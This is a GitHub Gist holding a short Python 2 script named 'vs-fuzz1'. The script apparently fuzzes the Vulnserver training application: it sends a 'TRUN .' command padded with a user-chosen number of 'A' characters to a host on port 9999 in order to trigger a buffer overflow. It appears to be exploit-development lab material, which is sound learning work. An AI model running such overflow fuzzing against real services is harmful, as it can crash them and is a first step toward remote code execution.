Created
January 3, 2021 11:43
-
-
Save whichbuffer/b6e2c51bf29578eb6875c2dfd49b4d64 to your computer and use it in GitHub Desktop.
vs-fuzz1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
server = '192.168.1.33' | |
sport = 9999 | |
length = int(raw_input('Length of attack: ')) | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect = s.connect((server, sport)) | |
print s.recv(1024) | |
print "Sending attack length ", length, ' to TRUN .' | |
attack = 'A' * length | |
s.send(('TRUN .' + attack + '\r\n')) | |
print s.recv(1024) | |
s.send('EXIT\r\n') | |
print s.recv(1024) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment